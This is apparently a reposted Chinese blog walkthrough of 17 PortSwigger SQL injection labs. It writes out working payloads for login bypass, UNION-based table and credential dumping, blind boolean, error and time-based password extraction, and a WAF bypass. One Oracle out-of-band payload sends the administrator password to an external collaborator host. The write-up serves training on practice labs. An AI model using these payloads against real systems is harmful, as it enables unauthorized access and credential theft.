【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

这篇具有很好参考价值的文章主要介绍了【BP靶场portswigger-服务端1】SQL注入-17个实验(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

前言:

介绍: 

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)擅长:对于技术、工具、漏洞原理、黑产打击的研究。

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)面向读者:对于网络安全方面的学者。 

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)本文知识点: 

(1)检索隐藏数据(√)

(2)颠覆应用程序逻辑(√)

(3)从其他数据库表中检索数据(√)

(4)SQL盲注(√)

(5)其他类型SQL注入(√)

 让读者如虎添翼

服务端专项 所需基础知识 学习目标 状态
【0X01】SQL注入-17个实验(全) 1、数据库基本语法

1、掌握SQL注入方法

2、掌握不同注入的区别

3、掌握注入的意义,即可以发现的信息

已发布
【0X02】身份认证漏洞-16个实验(全)

1、基本信收集

2、爆破工具的使用(如BP)

3、需要一点的逻辑分析能力

1、掌握身份验证的方法

2、掌握对数据包差别的细微分析

3、掌握身份认证的基本逻辑

已发布
【0X03】目录遍历漏洞-6个实验(全) 1、对于路径的敏感度

1、掌握路径模糊查询(爆破)

2、掌握基本的绕过方法

已发布
【0X04】操作系统命令注入-5个实验(全)

1、基本操作系统命令(可慢慢接触后学)

2、带外的平台(可慢慢发现)

3、带外的服务器(实验可使用BP提供的)

1、掌握基本命令

2、掌握BP提供的服务器

3、掌握拼拼接命令

已发布
【0X05】业务逻辑漏洞-11个实验(全)

1、需要会基本的BP使用能力(后期可不断提高) 

2、基础的数据包分析能力(可不断提升)

1、掌握如何分析业务逻辑

2、掌握业务逻辑的可能缺陷

3、掌握业务逻辑的第三方功能

已发布
【0X06】信息泄露漏洞-5个实验(全)

1、需要会一些发现的工具(后期可不断使用新工具)

2、需要会一点Linux基本工具命令

1、掌握BP信息收集的工具的使用方法

2、掌握常见的信息泄露及其获取方法

已发布
【0X07】访问控制 即将发布,敬请期待 —— ——
【0X08】文件上传 即将发布,敬请期待 —— ——
【0X09】服务端请求伪造SSRF 即将发布,敬请期待 —— ——
【0X10】XEE注射 即将发布,敬请期待 —— ——

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


目录

一、SQL意义

1、目的:

2、示例:

二、检索隐藏数据

实验1:隐藏商品

三、颠覆应用程序逻辑

实验2:登陆逻辑

四、从其他数据库表中检索数据

实验3:判断列

实验4:判断字段对应位置

实验5:其他表检索数据

实验6:单个列中检索多个字段

实验7:Orange数据库版本

实验8:Mysql数据库版本

实验9:Orange数据库检索1

实验10:Orange数据库检索2

五、SQL盲注

实验11:带条件响应的SQL注入

实验12:条件判断SQL注入

实验13:时延盲注

实验14:时延SQL注入

实验15:带外技术

实验16:带外SQL注入

六、其他类型SQL注入


 助你一臂之力  

📋问题1:大佬们都是如何快速发现漏洞点的?

🎯编写自动化脚本跑

🎯经验之谈(熟能生巧)

🎯细心谨慎(注意到一些细微差别)


📋问题2:使用的工具有哪些?

🎯BP的攻击模块

🎯sqlmap

🎯更多的是自己编写的脚本

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

一、SQL意义

1、目的:

未经授权访问敏感数据


2、示例:

1、检索隐藏数据,在其中修改 SQL 查询以返回其他结果。
2、颠覆应用程序逻辑,在其中更改查询以干扰应用程序的逻辑。
3、UNION 攻击,在其中从不同的数据库表中检索数据。
4、检查数据库,在其中提取有关数据库版本和结构的信息。
5、盲 SQL 注入,控制的查询结果不会在应用程序的响应中返回。



二、检索隐藏数据

心得:隐藏参数的注释(或者爆破分类,从而得到隐藏分类)

示例:
一个显示不同类别产品的购物应用程序。当用户单击“礼品”类别时,其浏览器会请求 URL:
https://insecure-website.com/products?category=Gifts

SQL查询,以从数据库中检索相关产品的详细信息:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

此 SQL 查询要求数据库返回:
所有详细信息 (*)
从产品表
其中类别为礼品
并释放是 1

该限制用于隐藏未发布的产品。对于未发布的产品,大概为released = 1 released = 0
注入:
构建如下攻击('--)
https://insecure-website.com/products?category=Gifts'--

将导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
后面查询的其余部分将被删除(--AND released = 1),意味着将显示所有产品,包括未发布的产品


攻击者可以使应用程序显示任何类别中的所有产品,包括他们不知道的类别:
https://insecure-website.com/products?category=Gifts'+OR+1=1--

将导致 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
将返回类别为“礼物”或 1 = 1 的所有(始终为 true)

实验1:隐藏商品

part1:

点击分类为礼物(未做任何修改)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part2:

把分类后面的内容注释调了,出现了新产品

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part3:

随便点击一个分类(加上'+or+1=1--)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 显示了所有商品(包括隐藏商品)【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)



三、颠覆应用程序逻辑

心得:登陆逻辑的绕过(相当于试判断成立)

示例:
如果用户提交用户名和密码
执行SQL 查询来检查凭据:(wiener  bluecheese)
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询返回用户的详细信息,则登录成功。否则,将被拒绝

注入:
使用 SQL 注释序列从查询子句中删除密码检查,即可在没有密码的情况下以任何用户身份登录
如提交用户名+空白密码(--WHEREadministrator'--)
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
此查询返回用户名为administrator的用户,并成功将攻击者登录到该用户。

实验2:登陆逻辑

part1:

点击后进行登陆(需要输入密码,才能提交)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part2:

POST数据包中有csrf、username、password三个参数

 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 在username后加上'--注释掉后面的内容

(前提不是预编译那种,且没过滤,害)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)



四、从其他数据库表中检索数据

心得:union联合查询(类似的还有堆叠注入,order by分类)

示例:
如果 SQL 查询的结果在应用程序的响应中返回,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。这是使用关键字完成的,该关键字允许您执行其他查询并将结果追加到原始查询。UNIONSELECT
例如,如果应用程序执行以下包含用户输入“礼物”的查询:
SELECT name, description FROM products WHERE category = 'Gifts'
注入:
攻击者可以提交输入:
' UNION SELECT username, password FROM users--

实验3:判断列

part1:
 

点击一个分类
然后判断列数
'order by 3 --
正常回显

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

'order by 4 --

报错

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part2:

本题是要使用union select

'union+select+null,null,null--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

心得:判断字段数,以及可回现的位置、字段名

实验4:判断字段对应位置

part1:

'union+select+'NeXKXZ',null,null--

使用题目给的字符串,3个位置依次换,直到对上指定列的位置

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

'union+select+null,'NeXKXZ',null--

在第二个位置就正确了

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

心得:union select联合查询数据

实验5:其他表检索数据

part1:

先判段为2列,再根据题目信息,username,password

'union+select+username,password from users--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part2:

使用账号登陆

administrator of0vwdslqljccpzv3eik

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

心得:单个列中联合检索多个列的数据(不同数据库连接方法不同)

实验6:单个列中检索多个字段

判断是2列后

发现不是2列都是字符型

'union+select+'a','a'--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

第二列才是返回的字符型

第一列是数值型

'union+select+null,'a'--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

'union+select+'a',null--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

扩展(不同数据库字符串的连接方法):
Oracle: 'foo'||'bar'
SQL Server: 'foo'+'bar'
Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar')
PostgreSQL: 'foo'||'bar'

part2:

将username,password合并到了一列带出

'union+select+null,username||'~'||password+from+users----

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part3:

登陆

心得:不同的数据库查询语句不同

实验7:Orange数据库版本

part1:

提示了为Oracle数据库(查询需要带上表,dual表,此表是Oracle数据库中的一个自带表)

order+by判断为2列,且2列都字符串型

'union+select+'a','b'+from+dual--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)
 

扩展(各数据库查询版本语句):
Mysql        SELECT version()
Sql Server   SELECT @@version
Oracle       SELECT * FROM v$version
Postgre      SELECT version()

part2:

banner提示:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

'union+select+banner,null+from+v$version--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

心得:通过不同数据库查询语句,判断为何种数据库

实验8:Mysql数据库版本

part1:

'order by 2-- a
'union+select+null,'a'-- a

(此处-- a是为了使空格不被插件忽略,使得注释成功)

————

part2:

'union+select+null,version()-- a

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

心得:基础知识:自带的information_schema

实验9:Orange数据库检索1

part1:

2列,且都是字符型

'order by 2--
'+UNION+SELECT+'a','b'--

part2:

查所有表(自带的information_schema)

'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

查用户相关的表中的所有字段

'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users_ybbtel'--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

查字段所对应的数据

'+UNION+SELECT+username_icxunp,password_gqvjoo+FROM+users_ybbtel--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part3:

登陆

心得:Orange特殊之FROM+dual

实验10:Orange数据库检索2

part1:

2列,且都是字符型

'order by 2--
'UNION+SELECT+'a','b'+FROM+dual--

part2:

查所有表(找到用户表)

'UNION+SELECT+table_name,NULL+FROM+all_tables--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

查所有字段

'UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_YSRTOP'--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 爆数据

'UNION+SELECT+USERNAME_KNSBZS,PASSWORD_VROHTE+FROM+USERS_YSRTOP--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part3:

登陆



五、SQL盲注

【SQL盲注】基础函数、报错回显、延时判断、逻辑判断盲注https://blog.csdn.net/qq_53079406/article/details/123124994?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-123124994-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450

【SQL注入-无回显】布尔盲注:原理、函数、利用过程https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-4-125275974-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450

【SQL注入-无回显】时间盲注:原理、函数、利用过程https://blog.csdn.net/qq_53079406/article/details/125096394?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167195559916800188519290%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=167195559916800188519290&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-6-125096394-null-null.blog_rank_default&utm_term=sql%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450

心得:观察回显的不同(先看字节数)

实验11:带条件响应的SQL注入

part1:

加上

' AND 1=1--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

' AND 1=2--

 少了一个欢迎回来,而且字节数也少了

说明存在注入点【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part2:

判单是否存在users表

' AND (SELECT 'a' FROM users LIMIT 1)='a'--

(存在)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

判断是否存在administrator用户

' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--

(存在)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

判断密码长度

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--

(直接跑一下)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

到数字20的时候就不成立了

说明密码有20位

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

爆破每一个字符的值

' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§'--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

payload1:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

payload2:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 98l1jlxbm80mk8dfnpmk


part3:

登陆

心得:通过条件判断执行对应语句

实验12:条件判断SQL注入

part1:

单引号报错

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 2个单引号就正常了

(存在注入点,且为单引号闭合)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 判断数据库类型

' || (select '') || '

(报错,不是MySQL)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

'||(SELECT '' FROM dual)||'

(未报错,可能是Oracle数据库)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 (再次证明其他无关性,换一个不存在的表报错)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part2:

'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

(rownum=1 防止查询的时候返回多行)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

再用类似上一个实验一样的方法,猜表、用户名,爆破密码

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

(when的条件成立时,会执行then后的内容,即执行成功1/0报错,若不成立,则返回else后的内容)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 判断是否存在administrator用户

'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
(用户不存在、1=1不成立有一个为fause时候返回200状态码,否则为ture,执行执行成功1/0报错)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 判断密码位数

'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全) 到20的时候就返回200状态码了,说明密码长度为20位【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 爆破密码

'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 payload1:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 payload2:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

结果:

按照payload1的顺序讲payload2排列起来就可以了(先将所有数据包按降序排列)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

e8q11s15y9pc8z5b2n78


part3:

登陆 

心得:拼接时间延迟函数

实验13:时延盲注

'||sleep(10)--

(几乎没什么时延,不是MySQL数据库)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


'||pg_sleep(10)--

(时延10s)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

心得:通过条件判断语句运行不同的命令

实验14:时延SQL注入

part1:

验证时延语句

'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

(延迟10s)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

(几乎无延迟)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 判断用户administrator是否存在

'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

(延迟10s,说明为ture,即存在)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 判断密码长度

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

结果肯定是20位

爆破密码

'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


结果:

勾选上时间

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 (我偷偷把延迟时间改为了2s,没想到居然误差有点小大,从大抓准没错)

nnn11iyvkal1dvdwosmr(错了,还是不能缩太短,害)


重新设6s

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

ndkt1iyvkal1svdw0omr(ok了)


part3:

登陆

心得:拼接后将数据带外回显

实验15:带外技术

part1:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

复制后,修改http://后面

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//iykblv2ne2x9e8fpic4ap9qwinodc2.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part2:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

心得:拼接将数据带外回显

实验16:带外SQL注入

part1:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

(将划线部分替换为自己的,注入语句夹在了http头和URL之间)

'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.1km5gjbs8t098rhznbrdxtuo5fb5zu.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--

part2:

【BP靶场portswigger-服务端1】SQL注入-17个实验(全) 【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

 前面这个就是带出的密码【BP靶场portswigger-服务端1】SQL注入-17个实验(全)


part3:

登陆



六、其他类型SQL注入

 心得:各种类型与数据库有关的数据交互

示例:
可以使用应用程序作为 SQL 查询处理的任何可控输入来执行 SQL 注入攻击
如一些网站采用 JSON 或 XML 格式的输入,并使用它来查询数据库。
这些不同的格式甚至可能为您提供其他方法来混淆由于 WAF 和其他防御机制而被阻止的攻击。弱实现通常只是在请求中查找常见的 SQL 注入关键字,因此您可以通过简单地编码或转义禁止关键字中的字符来绕过这些过滤器。


如以下基于 XML 的 SQL 注入使用 XML 转义序列对 中的S字符进行编码
<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>
将在传递给 SQL 解释器之前在服务器端解码

漏洞识别:
1、请注意,库存检查功能以 XML 格式将 productId和 storeId发送到应用程序。
2、将POST /product/stock请求发送到bp中继器。
3、在 Burp 中继器中,探测storeId 以查看是否评估了您的输入。例如,尝试将 ID 替换为计算结果为其他潜在 ID 的数学表达式,例如:
<storeId>1+1</storeId>
4、观察您的输入似乎由应用程序评估,返回不同商店的库存。
5、尝试通过将语句追加到原始存储 ID 来确定原始查询返回的列数:UNION SELECT
<storeId>1 UNION SELECT NULL</storeId>
6、请注意,请求由于被标记为潜在攻击而被阻止。




绕过 WAF:
1、在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。只需突出显示您的输入,右键单击,然后选择 Hackvertor >扩展>编码 > dec_entities/hex_entities。
2、重新发送请求,并注意您现在收到来自应用程序的正常响应。这表明您已成功绕过 WAF。




漏洞利用:
1、从上次中断的地方继续,并推断查询返回单个列。当您尝试返回多列时,应用程序将返回0 units ,这意味着错误。
2、由于只能返回一列,因此需要连接返回的用户名和密码,例如:
<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>
3、发送此查询并观察是否已成功从数据库中获取用户名和密码(用字符分隔)。~
4、使用管理员的凭据登录并解决实验室问题


【BP靶场portswigger-服务端1】SQL注入-17个实验(全)

网络安全三年之约

First year 

掌握各种原理、不断打新的靶场

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)目标:edusrc、cnvd 

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/


second year 

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)目标:众测平台、企业src应急响应中心 

众测平台 URL
漏洞盒子 漏洞盒子 | 互联网安全测试众测平台
火线安全平台 火线安全平台
漏洞银行 BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台 360漏洞云漏洞众包响应平台
补天平台(奇安信) 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC
春秋云测 首页
雷神众测(可信众测,安恒) 雷神众测 - BountyTeam
云众可信(启明星辰) 云众可信 - 互联网安全服务引领者
ALLSEC ALLSEC
360众测 360众测平台
看雪众测(物联网) https://ce.kanxue.com/
CNVD众测平台 网络安全众测平台
工控互联网安全测试平台 CNCERT工业互联网安全测试平台
慢雾(区块链) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚 http://isrc.pingan.com/homePage/index
互联网大厂 URL
阿里 https://asrc.alibaba.com/#/
腾讯 https://security.tencent.com/
百度 https://bsrc.baidu.com/v2/#/home
美团 https://security.meituan.com/#/home
360 https://security.360.cn/
网易 https://aq.163.com/
字节跳动 https://security.bytedance.com/
京东 https://security.jd.com/#/
新浪 http://sec.sina.com.cn/
微博 https://wsrc.weibo.com/
搜狗 http://sec.sogou.com/
金山办公 https://security.wps.cn/
有赞 https://src.youzan.com/

Third Year 

学习最新的知识,建全自己的渗透体系

【BP靶场portswigger-服务端1】SQL注入-17个实验(全)目标:参与护网(每一个男孩子心中的梦想) 

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)文章来源地址https://www.toymoban.com/news/detail-415958.html

到了这里,关于【BP靶场portswigger-服务端1】SQL注入-17个实验(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【SQL注入漏洞-06】HTTP头部注入靶场实战

    常见的sql注入一般是 通过请求参数或者表单进行注入 ,HTTP头部注入是 通过HTTP协议头部字段值进行注入 。 产生HTTP头部注入的条件: 能够对请求头消息进行修改 修改的请求头信息能够带入数据库进行查询 数据库没有对输入的请求信息做过滤 User-Agent :是Http协议中的一部分

    2024年02月02日
    浏览(59)
  • DVWA靶场中SQL注入

    1.1.1.Low级别   1)判断注入类型当输入1和1 and 1=2的时候均能够正常返回数值,证明不是数字型输入。那么这里基本上就能够判断是字符型注入。   2)判断字符型注入。输入1’ and 1=2 #的时候出现报错,证明存在字符型注入,并且单引号闭合。   3)判断有多少列当输入

    2024年02月03日
    浏览(52)
  • Pikachu靶场—sql注入通关

    创作不易,给个关注吧,有任何问题可以评论或者私聊 关卡详情 根据图上来看,这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。确定是post请求 因为题目指出是数字型的注入,所以就不用找闭合了,直接使用 order by 探测列数,这里探测

    2024年02月13日
    浏览(46)
  • 五分钟制作sql注入靶场

    接触安全也快两个月了,学了很多安全的知识,也接触到了渗透测试,前面学习了sql注入和XSS漏洞,听郭老师说可以尝试自己搭建一个靶场,所以开始制作自己靶场! 目录 一、数据库 文件db-creds.inc 接下来创建数据库 连接数据库 二、前端 三、php 四、第二个页面 五、效果展

    2024年02月15日
    浏览(38)
  • bwapp靶场笔记 -SQL注入篇

    ​ 启动靶场 查询数据库名字,以及所有的表名称 11 union select 1,2,database(),GROUP_CONCAT(table_name) ,5,6,7 from information_schema.tables where table_schema=database() # blog,heroes,movies,users,visitors 查询需要表的字段名 11 union select 1,2,database(),GROUP_CONCAT(COLUMN_name) ,5,6,7 from information_schema.COLUMNs where tabl

    2024年02月06日
    浏览(59)
  • pikachu靶场-4 SQL注入漏洞

    在OWASP发布的TOP 10 中,注入漏洞一直是危害排名第一的漏洞,其中主要指的是SQL Inject漏洞。 一个严重的SQL注入漏洞,可能会直接导致一家公司破产! 数据库输入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些

    2023年04月20日
    浏览(48)
  • 一次简单的SQL注入靶场练习

    为了巩固SQL注入以及实战演练的需要,我们来做一次简单的关于SQL注入的实战靶场练习 靶场下载地址: https://download.vulnhub.com/pentesterlab/from_sqli_to_shell_i386.iso 因为是linux系统,大家要注意安装的是linux的Debian系统,系统才能正常的运行,然后在设置里放置iso光盘就可以了。 安

    2023年04月10日
    浏览(40)
  • 【SQL注入漏洞-04】布尔盲注靶场实战

    当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。 利用页面返回的布尔类型状态,正常或者不正常; 我们输入的语句让页面呈现出两种状态,相当于true和

    2023年04月16日
    浏览(60)
  • 使用burpsuite抓包 + sql工具注入 dvwa初级靶场

    记录一下自己重新开始学习web安全之路②。 1.工具准备 sqlmap + burpsuite 2.浏览器准备 火狐浏览器 + 设置代理。 首先,先设置一下火狐浏览器的代理 http代理地址为127.0.0.0.1 ,端口为8080 3.burpsuite 准备 将burpsuite的抓包功能打开。 注:burpsuite 不抓127.0.0.1 /dvwa-master的包,所以需要

    2024年02月07日
    浏览(45)
  • 靶场:sql-less-18(HTTP头注入)

    本文操作环境:Kali-Linux 靶场链接:Less-18 Header Injection- Error Based- string 输入用户名和密码以后,我们发现屏幕上回显了我们的IP地址和我们的User Agent 用hackbar抓取POST包,在用户名和密码的位置判断注入点,发现用户名和密码的位置都是没有注入点 猜想可能注入点在User Agent这

    2024年03月11日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包